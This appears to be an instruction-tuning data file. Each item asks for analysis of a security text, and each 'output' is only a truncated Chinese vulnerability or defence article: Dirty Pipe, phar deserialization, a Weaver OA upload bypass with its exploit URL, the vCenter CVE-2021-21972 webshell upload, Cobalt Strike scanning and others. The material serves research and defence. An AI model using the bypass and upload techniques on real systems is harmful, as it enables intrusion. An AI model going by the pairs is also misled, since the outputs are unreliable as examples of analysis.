    idx=14 vaddr=0x00400430 paddr=0x00000430 sz=386 vsz=386 perm=--rwx name=.text
    haclh@ubuntu:~$ rabin2 -O p/.text/r a.out
    wx 02 @ 0x1d60
    haclh@ubuntu:~$ rabin2 -S a.out | grep text
    idx=14 vaddr=0x00400430 paddr=0x00000430 sz=386 vsz=386 perm=--r-- name=.text
### rasm2
这个工具用于进行各种平台的汇编和反汇编。该工具的主要选项有。
    -a 设置汇编和反汇编的架构（比如x86,mips, arm...）
    -L  列举支持的架构。
    -b  设置 位数
    -d，-D  反汇编 提供的 16进制字符串。
使用示例：
首先列举支持的架构（使用 `head` 只列举前面几项）
    haclh@ubuntu:~$ rasm2 -L | head
    _dAe  8 16       6502        LGPL3   6502/NES/C64/Tamagotchi/T-1000 CPU
    _dA_  8          8051        PD      8051 Intel CPU
    _dA_  16 32      arc         GPL3    Argonaut RISC Core
    a___  16 32 64   arm.as      LGPL3   as ARM Assembler (use ARM_AS environment)
    adAe  16 32 64   arm         BSD     Capstone ARM disassembler
    _dA_  16 32 64   arm.gnu     GPL3    Acorn RISC Machine ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# CVE-2019-0576：分析Jet Database Engine补丁问题
|
##### 译文声明
本文是翻译文章，文章原作者 mcafee，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-and-identifying-issues-with-the-microsoft-patch-for-cve-2018-8423/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
截至2019年7月，微软已经在Jet Database
Engine修复了大约43个bug。McAfee向官方报告了一些bug，到目前为止，我们获得了[微软官方](https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments)收录的10个CVE。在之前的一篇[文章](https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/jet-database-engine-flaw-may-lead-to-exploitation-analyzing-cve-2018-8423/)中，我们与大家讨论了CVE-2018-8423的漏洞根源。在分析这个CVE的原理以及官方提供的补丁时，我们发现这个补丁可以被绕过，再次造成系统crash。我们向微软反馈了这个情况，官方在1月19日的周二补丁日中修复了这个漏洞，新的漏洞编号为CVE-2019-0576。我们建议用户及时安装补丁，遵循适当的补丁管理策略，保证Windows系统处于最新状态。
在本文中我们将分析CVE-2019-0576的根源。为了利用该漏洞，攻击者需要使用社会工程学技巧，诱导受害者打开一个JavaScript文件，该脚本使用ADODB连接对象访问恶意的Jet
Database文件。一旦访问恶意的Jet Database文件，脚本就会调用`msrd3x40.dll`中存在漏洞的函数，触发漏洞。
## 0x01 相关背景
在上一篇[文章](https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/jet-database-engine-flaw-may-lead-to-exploitation-analyzing-cve-2018-8423/)中我们提到，攻击者可以使用恶意的Jet
Database文件触发CVE-2018-8423，根据漏洞分析结果，该问题位于索引编号字段中。如果索引编号过大，程序就会在如下位置crash：
这里`ecx`中包含恶意的索引编号。打上微软提供的CVE-2018-8423补丁后，当打开这个恶意文件时，我们可以看到如下错误信息，表明这个问题已被修复，不会再出现crash。
## 0x02 分析补丁
我们决定深入分析，澄清官方如何解决这个问题。在分析`msrd3x40!TblPage::CreateIndexes`函数时，可以看到代码会判断`IndexNumber`是否大于`0xFF`（即`256`），如下图所示：
这里`ecx`包含索引编号值，为`00002300`，并且这个值远大于`0xFF`。如果观察代码逻辑，可以看到一个跳转指令。跟随这个跳转指令，我们可以到达如下位置：
可以看到，代码会调用`msrd3x40!Err::SetError`函数，这意味着如果索引值大于`0xFF`，那么程序就不会解析恶意文件，弹出“Unrecognized
database format”错误信息，结束运行。
## 0x03 补丁问题
分析补丁后，我们发现如果索引值大于`0xFF`，程序就会结束运行。然而我们决定使用`00 00 00
20`这个索引值来试一下，这个值小于`0xFF`。此时我们在`msrd3x40!Table::FindIndexFromName`中触发了另一个crash，如下图所示：
## 0x04 新问题根源
前面提到过，如果任意索引值小于`0xFF`，那么就会在`msrd3x40!Table::FindIndexFromName`函数中触发crash，因此我们决定深入分析，澄清问题原因。
崩溃点位于如下位置：
似乎程序会尝试访问`[ebx+eax*4+574h]`这个地址，但该地址不可访问，这意味着这是一个越界读取（Out of Bound Read）问题。
这个crash情况与我们在CVE-2018-8423中看到的非常类似，不同点在于当时是一个越界写入（Out of Bound...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**Author: Knownsec 404 Team**
**Date: August 23, 2018**
**Chinese Version:<https://paper.seebug.org/680/>**
### 0x01 Introducton
When we usually exploit the deserialization vulnerability, we can only send
the serialized string to `unserialize()`. As the code becomes more and more
secure, it is more and more difficult to exploit. But on the Black Hat 2018,
the security researcher Sam Thomas shared the topic: _It’s a PHP
unserialization vulnerability Jim, but not as we know it_. Since the phar file
stores user-defined meta-data in serialized form, the attack surface of the
PHP deserialization vulnerability has been extended. With the parameter of
filesystem function (`file_exists()`, `is_dir()`, etc.) under control, this
method can be used with `phar://` pseudo-protocol to directly perform
deserialization without relying on `unserialize()`. This makes some functions
that previously seemed "harmless" become "insidious". Let's take a look at
these attacks.
### 0x02 Principles Analysis
#### 2.1 The Phar File Structure
Before we learn about the attacks, we need to firstly look at the file
structure of the phar, and it consists of four parts:
##### 1\. A **Stub**
It can be interpreted as a flag and the format is `xxx<?php xxx;
__HALT_COMPILER();?>`.The front content is not limited, but it must end with
`__HALT_COMPILER();?>`, otherwise the phar extension will not recognize this
file as a phar file.
##### 2\. A **Manifest** Describing the Contents
A phar file is essentially a compressed file, in which the permissions,
attributes and other information of each compressed file are included. This
section also stores user-defined meta-data in serialized form, which is the
core of the above attacks.
##### 3\. The File **Contents**
It’s the contents of the compressed file.
##### 4\. [optional] a **signature** for verifying Phar integrity (phar file
format only)
The format is as follows:
#### 2.2 Demo
Construct a phar file according to the file structure, and PHP has a built-in...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# sakuraの从零开始のIoT漏洞挖掘系列(一): Western Digital My Cloud Pro系列PR4100
NAS认证前RCE漏洞分析与利用
## 简述
本文主要是对crowdstrike团队的[pwn2own-tale-of-a-bug-found-and-lost-again](https://www.crowdstrike.com/blog/pwn2own-tale-of-a-bug-found-and-lost-again/)文章进行学习，并梳理漏洞模式和探究漏洞利用方法，因为笔者手上没有这款固件，如果有人手上有或者用qemu仿真出来了，可以自己调试一下。
## FIRMWARE
首先下载有漏洞的固件，该漏洞从2.31.204版本开始，一直在5.04.114版本修复，跨度长达一年，还是十分值得学习的。
<https://downloads.wdc.com/gpl/WDMyCloud_PR4100_GPL_v2.40.155_20200713.tar.gz>
## 攻击面枚举
因为是从零开始的IoT漏洞挖掘，从本篇开始我们首先讲述一下，在开始挖掘漏洞之前，我们需要做什么。第一件事就是要枚举攻击面，即这个目标它起了哪些服务，然后哪些服务是从外网可以访问。
一般可以用[Netstat](https://linux.die.net/man/8/netstat)来看这些东西。
  * `netstat -tulpn`
    * `-t` tcp
    * `-u` udp
    * `-l` listening, Show only listening sockets.
    * `-n` Show numerical addresses instead of trying to determine symbolic host, port or user names.
    * `-p` Show the PID and name of the program to which each socket belongs.
    root@MyCloudPR4100 root # netstat -tulpn
    Active Internet connections (only servers)
    Proto Local Address           Foreign Address State  PID/Program name
    tcp   0.0.0.0:443             0.0.0.0:*       LISTEN 3320/httpd
    tcp   127.0.0.1:4700          0.0.0.0:*       LISTEN 4131/cnid_metad
    tcp   0.0.0.0:445             0.0.0.0:*       LISTEN 4073/smbd
    tcp   192.168.178.31:49152    0.0.0.0:*       LISTEN 3746/upnp_nas_devic
    tcp   0.0.0.0:548             0.0.0.0:*       LISTEN 4130/afpd
    tcp   0.0.0.0:3306            0.0.0.0:*       LISTEN 3941/mysqld
    tcp   0.0.0.0:139             0.0.0.0:*       LISTEN 4073/smbd
    tcp   0.0.0.0:80              0.0.0.0:*       LISTEN 3320/httpd
    tcp   0.0.0.0:8181            0.0.0.0:*       LISTEN 1609/restsdk-server
    tcp   0.0.0.0:22              0.0.0.0:*       LISTEN 2761/sshd
    tcp6  :::445                  :::*            LISTEN 4073/smbd
    tcp6  :::139                  :::*            LISTEN 4073/smbd
    tcp6  :::22                   :::*            LISTEN 2761/sshd
    udp   0.0.0.0:1900       ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 0x00.一切开始之前
CVE-2022-0847 是这两天刚爆出来的一个热乎的内核漏洞，漏洞主要发生在对管道进行数据写入时，由于未对原有的
`pipe_buffer->flags` 进行清空，从而导致了 **可以越权对文件进行写入**
；由于这样的漏洞形式类似于“脏牛”（CVE-2016-5195），但更加容易进行利用，因此研究人员将该漏洞称之为「Dirty Pipe」
据研究者描述，目前 **5.8 版本以上的内核均会收到该漏洞的影响** ，在 **5.16.11** 、 **5.15.25** 、
**5.10.102** 版本中才被修复，影响范围不可谓不大，因此这个漏洞也得到了高达 7.2 的 CVSS 评分
这个漏洞的发现源自于一次 CRC
校验失败，感兴趣的可以看[原作者的博客](https://dirtypipe.cm4all.com/)，是一段十分奇妙的旅程（笑）
本次选用进行分析的内核源码为 Linux 5.13.19（因为笔者前些天刚好编译了一个这个版本的内核，刚好受到该漏洞影响，就直接拿来用了）
在开始分析之前，我们先来补充一些前置知识
## pipe：管道
稍微接触过 Linux 的同学应该都知道「管道」这一 IPC 神器。而在 Linux 内核中，管道本质上是创建了一个 **虚拟的 inode**
（即创建了一个虚拟文件节点）来表示的，其中在节点上存放管道信息的是一个 `pipe_inode_info`
结构体（`inode->i_pipe`），其中包含了一个管道的所有信息
当我们创建一个管道时，内核会创建一个 VFS inode 、一个 `pipe_inode_info` 结构体、两个文件描述符（代表着管道的两端）、一个
`pipe_buffer` 结构体数组，下图是一张叙述管道原理的经典图例
用来表示管道中数据的是一个 `pipe_buffer` 结构体数组，单个 `pipe_buffer` 结构体用来表示 **管道中单张内存页的数据** ：
    /**
     *  struct pipe_buffer - a linux kernel pipe buffer
     *  @page: 管道缓冲区中存放了数据的页框
     *  @offset: 在 @page 中数据的偏移
     *  @len: 在 @page 中数据的长度
     *  @ops: 该 buffer 的函数表， 参见 @pipe_buf_operations.
     *  @flags: 管道缓冲区的标志位，参见上面
     *  @private: 函数表的私有数据
     **/
    struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
    };
创建管道使用的 pipe 与 pipe2 这两个系统调用最终都会调用到 `do_pipe2()` 这个函数，不同的是后者我们可以指定一个
flag，而前者默认 flag 为 0
存在如下调用链：
    do_pipe2()
        __do_pipe_flags()
            create_pipe_files()
                get_pipe_inode()
                    alloc_pipe_info()
最终调用 `kcalloc()` 分配一个 `pipe_buffer` 数组，默认数量为 `PIPE_DEF_BUFFERS`
（16）个，即一个管道初始默认可以存放 16 张页面的数据
    struct pipe_inode_info *alloc_pipe_info(void)
    {
        struct pipe_inode_info *pipe;
        unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
        struct user_struct *user = get_current_user();
        unsigned long user_bufs;
        unsigned int max_size = READ_ONCE(pipe_max_size);
        pipe = kzalloc(sizeof(struct pipe_in...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# vivetok 摄像头远程栈溢出漏洞分析

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞描述
2017年vivetok摄像头曝出一个栈溢出漏洞，影响该系列多款型号。
包括：
    CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A
    FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2
    FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2
    FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2
    FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2
    FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV
    FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191
    FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A
    IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H
    IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT
    IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166
    IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2
    MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH
    SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH
    SD9366-EHL VS8100-V2
漏洞的poc公布于[exploit-db](https://www.exploit-db.com/exploits/44001)以及[seclist](https://seclists.org/fulldisclosure/2017/Nov/31)
该漏洞成因是`httpd`对用户数据处理不当，导致栈溢出，接下来具体进行分析。
## 漏洞复现
首先是固件的获取，官网的下载地址为<https://www.vivotek.com/firmware/>，但是下下来的固件是最新版本的固件，下不到历史版本固件，然后通过这篇[文章](https://xz.aliyun.com/t/5054)，说到了拿固件的历史方法，同时师傅把它的固件传到了poc的issue里面，我跟过去那个poc，但是看不到issue，神奇的是issue不见了，图片里面的链接还是有效的，所以我就手输了链接下到了存在漏洞的固件。
首先是提取文件系统，binwalk直接解压就可以拿到了。使用`find`找到httpd，然后使用`file`查看文件类型。
    $ find ./ -name "httpd"
    ./squashfs-root/usr/sbin/httpd
    ./squashfs-root/etc/init.d/httpd
    $ file httpd
    httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped
一个arm 32位小端文件系统，使用qemu模拟arm系统，`launsh.sh`启动qemu虚拟机，`launsh.sh`对应的命令为：
    $ cat ~/work/iot/qemu-vm/armhf/launch.sh
    sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 从TeamTNT蠕虫检测看一个主机安全软件的自我修养
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
近日，牧云（CloudWalker）
主机安全管理平台帮助用户检测并协助处置一起TeamTNT蠕虫感染事件，事后复盘该蠕虫使用了多种攻击逃逸技术进行自身的隐藏。本文主要结合实际的蠕虫事件介绍主机安全软件的对抗手段，从而阐述主机安全软件如何自我修炼，从而可以有效地应对持续迭代更新的恶意软件及其逃逸手段。
## 事件概述
事件的起源是一起异常网络连接告警引发的应急响应。
发现告警之后，上机排查发现并没有看到相应的进程，判断可能存在进程隐藏等对抗行为。利用牧云的安全基线进行分析，果然发现有两个rootkit。
通过加载LKM模块实现进程隐藏和rootkit自身的隐藏。
通过ld.so.preload在用户态实现进程隐藏。
参考牧云的解决方案对rootkit进行清理后，所有的后门进程都无所遁形，根据指引完成后门清理成功结束应急响应。
下文将继续结合这个典型的蠕虫来阐述牧云是如何有效和其对抗的技术实现。
## 主机安全的自我修养
###  健壮的感知能力
本次感染的蠕虫虽然通过各种手段实现进程的隐藏进行逃逸，但牧云仍能够有效的发现其异常网络连接，核心是通过tracing+kprobe实现有效的主机事件采集。
kprobe是Linux内核提供的一种动态调试机制，即Kernel Probe，用于收集内核函数运行时信息分析和监测内核函数的执行。相较于用户态通过hook
libc的方式采集系统调用信息，kprobe直接在内核态进行监听，无论是采集率和对抗rootkit隐藏逃逸都更具优势。
相较于另一种在内核hook系统调用的方式进行事件采集，kprobe作为内核原生提供的调试机制具有更好的稳定性，这对主机安全软件也是至关重要的一环。而相较于内核新引入的ebpf等方式，在内核版本2.6.9即引入的kprobe无疑具有更广泛的普适性。
那么如何通过tracing+kprobe实现网络连接事件的采集，下面我们通过linux提供的ftrace框架，操作/sys/kernel/debug/tracing/文件系统来简单分享一下kprobe事件采集的实现。
针对TeamTNT蠕虫异常网络连接监控举例，首先我们需要通过ftrace注册一个kprobe监听事件，并针对监听的函数的ABI约定来选择需要采集的数据。因为是监听建立网络连接，我们选择__sys_connect系统调用，通过如下命令我们可以注册一个名为justtest的kprobe监听事件。
`echo -n 'p:justtest __sys_connect FD=%di:s64 Family=+0(%si):u16
Port=+2(%si):u16 Address=+4(%si):u32 Len=%dx:u64' >>
/sys/kernel/debug/tracing/kprobe_events`
接下来，我们需要启用我们所注册的kprobe监听器，具体实现仍然是操作tracing文件系统，相应命令如下。
`echo 1 > /sys/kernel/debug/tracing/events/kprobes/justtest/enable`
最后我们就可以通过解析/sys/kernel/debug/tracing/trace对应的输出，分析是否有可疑的网络连接请求。
针对kprobe的更详细的参数以及调用方式可以查看内核的Documentation/trace/kprobetrace.txt文档了解细节。同时牧云也将其核心的事件采集能力开源成工具供大家尝试调试kprobe事件采集，以及可以结合systracer程序进行恶意软件分析，详情见开源项目
<https://github.com/chaitin/systracer> 。
###  深度的洞察能力
作为一个优雅的主机安全产品牧云兼具深度的洞察能力，在TeamTNT蠕虫事件中，牧云通过用户态工具对内核的内存分布进行深度的洞察，从而有效检出蠕虫使用LKM
rootkit，下面我们详细阐述牧云是如何洞察rootkit隐藏痕迹。
对LKM
rootkit的发现，牧云是基于对比内核中/proc/kallsyms符号表和内核的内存镜像/proc/kcore从而发现系统调用被异常篡改，最终实现威胁检出。
首先我们需要分析kcore来查找系统调用的地址，首先我们通过readelf获取kcore中内核代码的偏移地址。通过读取代码段的偏移地址，其中VirtAddr-Offset即为内核态逻辑内存地址映射到/proc/kcore文件中的偏移位置。
然后通过kallsyms获取系统调用表的偏移地址
`# grep...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

最近公开了某OA的任意文件上传POC，想着来分析一下，下面截图代码为github找到。
上传漏洞的利用接口如下所示：
    /weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp
看POC注意到接口后面多了一个`.css`,根据以往的经验应该是用于权限认证绕过。抓包进行验证结果如下所示：
当接口后面跟`.css`,请求返回状态码为200，如下所示：
当接口后面不跟`.css`时，返回状态码为403，如下所示：
由此可以判断`.css`是用于权限绕过。接下来通过POC入口逆向来分析该漏洞成因。
翻阅资料知道该系统写了全局安全防护规则，当用户请求触发相应防护规则时会记录触发规则及IP等信息。查看日志发现触发了该条规则`weaver.security.rules.SecurityRuleQX20`
该规则防护源码如下所示：
当请求URL中包含字符`weaver`，`common`
,`ctrl`等字符时就会触发该条防护规则。这时就又有一个疑惑。绕过访问控制的POC`/weaver/weaver.common.Ctrl/.css`中不是同样存在这些字符嘛为啥没有触发该规则。根据经验判断可能是该系统的全局过滤器在处理URL后缀为`.css`时，进行了白名单验证放过，不进入防护规则判断。
查看`web.xml`文件中的安全防护规则`filter`入口为`weaver.filter.SecurityFilter`,匹配过滤全局路径，如下所示：
`weaver.filter.SecurityFilter`源代码中的`initFilterBean`函数用于初始化系统防火墙即加载所有防护规则:
跟入`weaver.security.filter.SecurityMain`的`initFilterBean`函数启动并导入所有规则类：
`weaver.filter.SecurityFilter`中初始化系统防火墙后之后进行`doFilterInternal`用于过滤校验前端传入数据是否满足安全要求：
请求数据及FilterChain传入`weaver.security.filter.SecurityMain`的`process`函数继续跟入，idea反编译失败wtf：
使用JD进行反编译发现如下所示代码：
    Object localObject7 = str2.toLowerCase().trim();
    if ((((String)localObject7).endsWith(".cur")) || (((String)localObject7).endsWith(".ico")) || (((String)localObject7).endsWith(".css")) || (((String)localObject7).endsWith(".png")) || (((String)localObject7).endsWith(".jpg")) || (((String)localObject7).endsWith(".gif")))
              {
                if (!localSecurityCore.null2String(localSecurityCore.getRule().get("OA-Server")).equals("")) {
                  localHttpServletResponse.addHeader("Server", localSecurityCore.null2String(localSecurityCore.getRule().get("OA-Server")));
                }
                localSecurityCore.addHeader(localHttpServletRequest, localHttpServletResponse);
                paramFilterChain.doFilter(paramHttpServletRequest, paramHttpServletResponse);
`str2`为获取的请求URL，故上述代码为URL后缀为`cur、ico、css、png、jpg、gif`时即可条过该filter链校验即不用进行上述weaver.security.rules.SecurityRuleQX20的校验，之后跟进调用`paramFilte...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Linux HIDS开发之eBPF的应用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
BPF（Berkeley Packet Filter ），中文翻译为伯克利包过滤器，是类 Unix
系统上数据链路层的一种原始接口，提供原始链路层封包的收发。1992 年，Steven McCanne 和 Van Jacobson
写了一篇名为《BSD数据包过滤：一种新的用户级包捕获架构》的论文。在文中，作者描述了他们如何在 Unix
内核实现网络数据包过滤，这种新的技术比当时最先进的数据包过滤技术快 20 倍。BPF 在数据包过滤上引入了两大革新：
一个新的虚拟机 (VM) 设计，可以有效地工作在基于寄存器结构的 CPU 之上；
    应用程序使用缓存只复制与过滤数据包相关的数据，不会复制数据包的所有信息。这样可以最大程度地减少BPF 处理的数据；
由于这些巨大的改进，所有的 Unix 系统都选择采用 BPF 作为网络数据包过滤技术，直到今天，许多 Unix 内核的派生系统中（包括 Linux
内核）仍使用该实现。
2014 年初，Alexei Starovoitov 实现了 eBPF（extended Berkeley Packet
Filter）。经过重新设计，eBPF 演进为一个通用执行引擎，可基于此开发性能分析工具、软件定义网络等诸多场景。eBPF 最早出现在 3.18
内核中，此后原来的 BPF 就被称为经典 BPF，缩写 cBPF（classic BPF），cBPF 现在已经基本废弃。现在，Linux 内核只运行
eBPF，内核会将加载的 cBPF 字节码透明地转换成 eBPF 再执行。
eBPF 新的设计针对现代硬件进行了优化，所以 eBPF 生成的指令集比旧的 BPF
解释器生成的机器码执行得更快。扩展版本也增加了虚拟机中的寄存器数量，将原有的 2 个 32 位寄存器增加到 10 个 64
位寄存器。由于寄存器数量和宽度的增加，开发人员可以使用函数参数自由交换更多的信息，编写更复杂的程序。总之，这些改进使 eBPF 版本的速度比原来的 BPF
提高了 4 倍。
eBPF 在 Linux 3.18 版本以后引入，并不代表只能在内核 3.18+ 版本上运行，低版本的内核升级到最新也可以使用 eBPF
能力，只是可能部分功能受限，比如我测试在CentOS7 3.10.940 以上都可以受限使用部分eBPF功能，低版本CentOS7
可以yum升级内核，重启支持部分eBPF 功能。
    # yum install kernel kernel-devel kernel-headers -y
    # reboot
eBPF 分为用户空间程序和内核程序两部分：
用户空间程序负责加载 BPF 字节码至内核，如需要也会负责读取内核回传的统计信息或者事件详情；
内核中的 BPF 字节码负责在内核中执行特定事件，如需要也会将执行的结果通过 maps 或者 perf-event 事件发送至用户空间；
其中用户空间程序与内核 BPF 字节码程序可以使用 map 结构实现双向通信，这为内核中运行的 BPF 字节码程序提供了更加灵活的控制。
用户空间程序与内核中的 BPF 字节码交互的流程主要如下：
我们可以使用 LLVM工具将编写的 BPF 代码程序编译成 BPF 字节码；
然后使用加载程序 Loader 将字节码加载至内核；内核使用验证器（verfier）
组件保证执行字节码的安全性，以避免内核panic，在确认字节码安全后将其加载对应的内核模块执行；BPF 观测技术相关的程序程序类型可能是
kprobes/uprobes/tracepoint/perf_events 中的一个或多个，其中：
    kprobes：实现内核中动态跟踪。 kprobes 可以跟踪到 Linux 内核中的导出函数入口或返回点，但是不是稳定 ABI 接口，可能会因为内核版本变化导致，导致跟踪失效。
    uprobes：用户级别的动态跟踪。与 kprobes 类似，只是跟踪用户程序中的函数。
    tracepoints：内核中静态跟踪。tracepoints 是内核开发人员维护的跟踪点，能够提供稳定的 ABI 接口，但是由于是研发人员维护，数量和场景可能受限。
    perf_events：定时采样和 PMC。
    内核中运行的 BPF 字节码程序可以使用两种方式将测量数据回传至用户空间
    maps 方式可用于将内核中实现的统计摘要信息（比如测量延迟、堆栈信息）等回传至用户空间；
    perf-event 用于将内核采集的事件实时发送至用户空间，用户空间程序实时读取...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**本文翻译自:[Hack The Virtual Memory: C strings &
/proc](https://blog.holbertonschool.com/hack-the-virtual-memory-c-strings-proc/ "Hack The Virtual Memory: C strings & /proc")**
# Hack The Virtual Memory: C strings & /proc
## 介绍
**hack虚拟内存之第0章：学习C字符串和/proc**
这是一系列有关于虚拟内存的文章/教程中的第一篇。目标是以另一种更实际的方式，学习一些CS基础知识。
在这第一篇文章中，我们将使用/proc来查找并修改正在运行的进程的虚拟内存中包含的变量（在此示例中为ASCII字符串），并在此过程中学习一些很酷的东西。
## 环境
所有脚本和程序都已经在以下系统上进行过测试：
  * Ubuntu 14.04 LTS
    * Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
  * gcc
    * gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
  * Python 3
    * Python 3.4.3 (default, Nov 17 2016, 01:08:31)
    * [GCC 4.8.4] on linux
## 前提
为了完全理解本文，你需要知道：
  * C语言的基础知识
  * 了解python
  * Linux文件系统和shell的基础知识
## 虚拟内存
在计算机中，虚拟内存是一种使用硬件和软件实现的内存管理技术。它将程序使用的内存地址（称为虚拟地址）映射到计算机内存中的物理地址。主存（对于进程或任务来说）是连续的地址空间或连续段的集合。操作系统负责管理虚拟地址空间以及将物理内存分配给虚拟内存。CPU中的地址转换硬件（通常称为存储器管理单元，MMU）自动将虚拟地址转换为物理地址。操作系统可以扩展这些功能以提供超过物理内存容量的虚拟地址空间，从而引用比物理内存更多的虚拟内存。
虚拟内存的主要优点包括：使应用程序不必管理共享内存空间，由于内存隔离而提高的安全性，以及通过使用分页技术在概念上使用比物理可用内存更多的内存。
你可以在[Wikipedia](https://en.wikipedia.org/wiki/Virtual_memory
"Wikipedia")上阅读有关虚拟内存的更多信息。
在第2章，我们将详细介绍并说明虚拟内存各个部分的内容。目前，在你继续阅读之前，你应该了解以下几个要点：
  * 每个进程都有自己的虚拟内存
  * 虚拟内存大小取决于操作系统的体系结构
  * 每个操作系统处理虚拟内存的方式不同，但对于大多数现代操作系统，进程的虚拟内存如下所示：
在内存的高地址中你可以找到（这是一个简略的列表，还有更多内容可以找到，但这不是今天的主题）：
  * 命令行参数和环境变量
  * 栈，“向下”增长。 这看似违反直觉，但这是在虚拟内存中实现栈的方式
在内存低地址中，你可以找到：
  * 你的可执行文件（它比这复杂一点，但这足以理解本文的其余部分）
  * 堆，“向上”增长
堆是动态分配的部分内存（即，包含使用malloc分配的内存）。
另外，请记住虚拟内存与RAM不同。
## C程序
让我们从这个简单的C程序开始：
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    /**
     * main - uses strdup to create a new string, and prints the
     * address of the new duplcated string
     *
     * Return: EXIT_FAILURE if malloc failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        char *s;
        s = strdup("Holberton");
        if (s == NULL)
        {
            fprintf(stderr, "Can't allocate mem with malloc\n");
          ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 0x01. 漏洞介绍
vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。
CVE-2021-21972
是Vcenter的一个未授权文件上传漏洞。该漏洞可以上传文件至vcenter服务器的任意位置。由于该服务System权限，可以任意写，可上传webshell并执行，如果是Linux环境并开放了ssh，可上传公钥直接通过ssh登录。
### 0x02. 漏洞分析
环境搭建过程可以参考：<https://www.miensi.com/352.html>
vCenter Server 的 vROPS 插件的 API 采用spring编写。部分敏感接口未经过鉴权，其中 `uploadova` 接口存在一个上传
OVA 文件的功能：
    @RequestMapping(
            value = {"/uploadova"},
            method = {RequestMethod.POST}
        )
        public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
            logger.info("Entering uploadOvaFile api");
            int code = uploadFile.isEmpty() ? 400 : 200;
            PrintWriter wr = null;
    ...
            response.setStatus(code);
            String returnStatus = "SUCCESS";
            if (!uploadFile.isEmpty()) {
                try {
                    logger.info("Downloading OVA file has been started");
                    logger.info("Size of the file received  : " + uploadFile.getSize());
                    InputStream inputStream = uploadFile.getInputStream();
                    File dir = new File("/tmp/unicorn_ova_dir");
                    if (!dir.exists()) {
                        dir.mkdirs();
                    } else {
                        String[] entries = dir.list();
                        String[] var9 = entries;
                        int var10 = entries.length;
                        for(int var11 = 0; var11 < var10; ++var11) {
                            String entry = var9[var11];
                            File currentFile = new File(dir.getPath(), entry);
                            currentFile.delete();
                        }
                        logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
                    }
                    TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
                    TarA...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 浅析Cobalt Strike Team Server扫描
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Cobalt Strike 是由Strategic
Cyber公司开发的一款商业化渗透测试工具。该软件具有简单易用、可扩展性高等优点，并且具备团队协作等特点，因此被广大黑客、白帽子和安全研究人员等大量装备使用。网络空间测绘就是利用扫描发掘互联网中一切可发掘的资产和目标。Cobalt
Strike 的发掘，是360 Quake团队一直以来的核心目标之一。
在本文中我们将站在蓝方角度思考，通过研究Cobalt Strike客户端与服务端交互的代码逻辑，来发掘出Cobalt Strike Team
Server特征，并且进行进一步探测与分析。
## 逻辑分析
Cobalt Strike 的是C/S（Client-Server）架构，有一个客户端与Team
Server进行通信。首先，简单看下代码。在完成Swing组件的加载后，用户输入用户名、密码等信息后，点击Connect按钮，触发aggressor.dialogs下的Connet类的dialogAction方法。如图所示，代码逻辑会将密码传入一个SecureSocket实例的authenticate方法中。
然后创建数据输出流实例，将\x00\x00\xbe\xef+ 密码长度 + 密码 + 填充字符等数据传给Team
